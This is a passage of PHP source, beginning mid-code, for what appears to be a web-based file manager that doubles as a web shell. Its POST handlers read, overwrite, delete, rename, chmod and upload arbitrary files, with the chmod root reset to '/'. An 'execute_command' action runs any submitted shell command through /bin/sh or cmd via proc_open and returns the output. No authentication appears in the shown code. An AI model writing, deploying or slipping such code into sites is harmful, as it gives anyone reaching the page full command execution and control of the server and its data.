'Root', 'path' => '/', 'visit_id' => uniqid()]]; $currentPath = ''; foreach ($parts as $part) { if ($part !== '') { $currentPath .= $part . '/'; $pathParts[] = [ 'name' => $part, 'path' => $currentPath, 'visit_id' => uniqid() ]; } } return $pathParts; } $pathParts = getPathParts($current_directory); // Get the list of files and directories in the current directory $files = scandir($full_path); // AJAX request handling if (isset($_POST['action']) && isset($_POST['file'])) { $action = $_POST['action']; $file = trim($_POST['file'], '/\\'); $filePath = realpath($full_path . $file); $response = ['success' => false, 'message' => '', 'debug' => []]; $response['debug']['base_directory'] = $root_directory; $response['debug']['current_directory'] = $current_directory; $response['debug']['file'] = $file; $response['debug']['directory'] = $full_path; $response['debug']['file_path'] = $filePath; // Ensure the file path is within the allowed directory if ($filePath === false || strpos($filePath, realpath($root_directory)) !== 0) { $response['message'] = 'Invalid file path'; echo json_encode($response); exit; } switch ($action) { case 'edit': if (file_exists($filePath) && is_file($filePath)) { if (isset($_POST['content'])) { $writeResult = file_put_contents($filePath, $_POST['content']); if ($writeResult !== false) { $response['success'] = true; $response['message'] = "File updated successfully."; } else { $response['message'] = "Failed to update the file. Check permissions."; $response['debug']['error'] = error_get_last(); } } else { $content = file_get_contents($filePath); if ($content !== false) { $response['success'] = true; $response['content'] = $content; } else { $response['message'] = "Failed to read the file. Check permissions."; $response['debug']['error'] = error_get_last(); } } } else { $response['message'] = "File not found or is not a regular file."; } break; case 'delete': $file = trim($_POST['file'], '/\\'); $filePath = realpath($full_path . $file); // Ensure the file path is within the allowed directory if ($filePath === false || strpos($filePath, realpath($root_directory)) !== 0) { $response['message'] = 'Invalid file path'; echo json_encode($response); exit; } if (file_exists($filePath)) { if (is_file($filePath)) { if (unlink($filePath)) { $response['success'] = true; $response['message'] = "File deleted successfully."; } else { $response['message'] = "Failed to delete the file."; } } elseif (is_dir($filePath)) { if (rmdir($filePath)) { $response['success'] = true; $response['message'] = "Directory deleted successfully."; } else { $response['message'] = "Failed to delete the directory. It might not be empty."; } } else { $response['message'] = "The item is neither a file nor a directory."; } } else { $response['message'] = "File or directory not found."; } break; case 'chmod': if (isset($_POST['file']) && isset($_POST['permissions'])) { $file = trim($_POST['file'], '/\\'); $current_directory = isset($_POST['dir']) ? trim($_POST['dir'], '/\\') : ''; $response = ['success' => false, 'message' => '', 'debug' => []]; // Adjust the root directory $root_directory = '/'; // This should be the actual root of your web server // Construct the full path correctly $full_path = $root_directory . str_replace('\\', '/', $current_directory); $full_path = rtrim($full_path, '/') . '/'; $filePath = $full_path . $file; $response['debug'] = [ 'root_directory' => $root_directory, 'current_directory' => $current_directory, 'file' => $file, 'full_path' => $full_path, 'file_path' => $filePath, 'file_exists' => file_exists($filePath), 'is_readable' => is_readable($filePath), 'is_writable' => is_writable($filePath) ]; // Ensure the file path is within the allowed directory if (!file_exists($filePath) || strpos($filePath, $root_directory) !== 0) { $response['message'] = 'Invalid file path'; echo json_encode($response); exit; } if (file_exists($filePath)) { $permissions = octdec($_POST['permissions']); if (@chmod($filePath, $permissions)) { $response['success'] = true; $response['message'] = "Permissions changed successfully."; $response['newPermissions'] = getFilePermissions($filePath); } else { $response['success'] = false; $response['message'] = "Failed to change permissions."; $response['debug']['error'] = error_get_last(); } } else { $response['message'] = "File or directory not found."; } } else { $response['message'] = "Missing file or permissions parameter."; } break; case 'rename': if (file_exists($filePath)) { $newName = isset($_POST['newName']) ? $_POST['newName'] : ''; $newPath = $full_path . $newName; if (!empty($newName) && $newName !== $file) { if (!file_exists($newPath)) { if (rename($filePath, $newPath)) { $response['success'] = true; $response['message'] = "File renamed successfully."; $response['newName'] = $newName; } else { $response['message'] = "Failed to rename the file."; } } else { $response['message'] = "A file with that name already exists."; } } else { $response['message'] = "Invalid new name provided."; } } else { $response['message'] = "File not found."; } break; } header('Content-Type: application/json'); echo json_encode($response); exit; } // Handle file download if (isset($_GET['action']) && $_GET['action'] === 'download' && isset($_GET['file'])) { $file = $_GET['file']; $filePath = realpath($full_path . $file); // Check if the file exists and is within the allowed directory if ($filePath && is_file($filePath) && strpos($filePath, realpath($root_directory)) === 0) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($filePath).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($filePath)); readfile($filePath); exit; } else { die("File not found or access denied."); } } function formatFileSize($file) { if (!file_exists($file) || !is_readable($file)) { return 'N/A'; } $size = @filesize($file); if ($size === false) { return 'N/A'; } $units = array('B', 'KB', 'MB', 'GB', 'TB'); $size = max($size, 0); $pow = floor(($size ? log($size) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $size /= (1 << (10 * $pow)); return round($size, 2) . ' ' . $units[$pow]; } function getFilePermissions($file) { if (!file_exists($file)) { return 'N/A'; } $perms = fileperms($file); // Get the numeric permissions $numericPerms = substr(sprintf('%o', $perms), -4); switch ($perms & 0xF000) { case 0xC000: // socket $info = 's'; break; case 0xA000: // symbolic link $info = 'l'; break; case 0x8000: // regular $info = '-'; break; case 0x6000: // block special $info = 'b'; break; case 0x4000: // directory $info = 'd'; break; case 0x2000: // character special $info = 'c'; break; case 0x1000: // FIFO pipe $info = 'p'; break; default: // unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); // Return both numeric and symbolic permissions return $numericPerms . ' (' . $info . ')'; } // Add this near the top of your PHP code, with other action handlers if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'execute_command') { $command = isset($_POST['command']) ? $_POST['command'] : ''; $output = ''; $error = ''; if (!empty($command)) { // Check if we're on Windows $isWindows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; // Replace common Unix commands with Windows equivalents if ($isWindows) { $command = str_replace('ls', 'dir', $command); $command = str_replace('rm', 'del', $command); $command = str_replace('mv', 'move', $command); $command = str_replace('cp', 'copy', $command); $command = str_replace('cat', 'type', $command); // Add more replacements as needed } // Use 'cmd /c' on Windows, '/bin/sh -c' on Unix $prefix = $isWindows ? 'cmd /c ' : '/bin/sh -c '; $command = $prefix . escapeshellcmd($command); $descriptorspec = array( 0 => array("pipe", "r"), // stdin 1 => array("pipe", "w"), // stdout 2 => array("pipe", "w") // stderr ); $process = proc_open($command, $descriptorspec, $pipes, $full_path); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $error = stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); } } echo json_encode(['output' => $output, 'error' => $error]); exit; } // Add this new section to handle file uploads, file creation, and folder creation if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['action'])) { $response = ['success' => false, 'message' => '']; switch ($_POST['action']) { case 'upload': if (!empty($_FILES['files']['name'][0])) { $uploadedFiles = []; $failedUploads = []; foreach ($_FILES['files']['name'] as $key => $name) { $tmpName = $_FILES['files']['tmp_name'][$key]; $targetPath = $full_path . $name; if (move_uploaded_file($tmpName, $targetPath)) { $uploadedFiles[] = $name; } else { $failedUploads[] = $name; } } if (!empty($uploadedFiles)) { $response['success'] = true; $response['message'] = "Successfully uploaded: " . implode(', ', $uploadedFiles); } if (!empty($failedUploads)) { $response['message'] .= " Failed to upload: " . implode(', ', $failedUploads); } } else { $response['message'] = "No files were uploaded."; } break; case 'create_file': $newFileName = isset($_POST['file_name']) ? trim($_POST['file_name']) : ''; if (!empty($newFileName)) { $newFilePath = $full_path . $newFileName; if (!file_exists($newFilePath)) { if (touch($newFilePath)) { $response['success'] = true; $response['message'] = "File '$newFileName' created successfully."; } else { $response['message'] = "Failed to create file '$newFileName'."; } } else { $response['message'] = "File '$newFileName' already exists."; } } else { $response['message'] = "File name is required."; } break; case 'create_folder': $newFolderName = isset($_POST['folder_name']) ? trim($_POST['folder_name']) : ''; if (!empty($newFolderName)) { $newFolderPath = $full_path . $newFolderName; if (!file_exists($newFolderPath)) { if (mkdir($newFolderPath)) { $response['success'] = true; $response['message'] = "Folder '$newFolderName' created successfully."; } else { $response['message'] = "Failed to create folder '$newFolderName'."; } } else { $response['message'] = "Folder '$newFolderName' already exists."; } } else { $response['message'] = "Folder name is required."; } break; } header('Content-Type: application/json'); echo json_encode($response); exit; } } function getFileIcon($file) { $extension = strtolower(pathinfo($file, PATHINFO_EXTENSION)); switch ($extension) { case 'jpg': case 'jpeg': case 'png': case 'gif': case 'bmp': return ''; case 'pdf': return ''; case 'doc': case 'docx': return ''; case 'xls': case 'xlsx': return ''; case 'ppt': case 'pptx': return ''; case 'zip': case 'rar': case '7z': return ''; case 'txt': return ''; case 'php': case 'js': case 'css': case 'html': return ''; default: return ''; } } ?>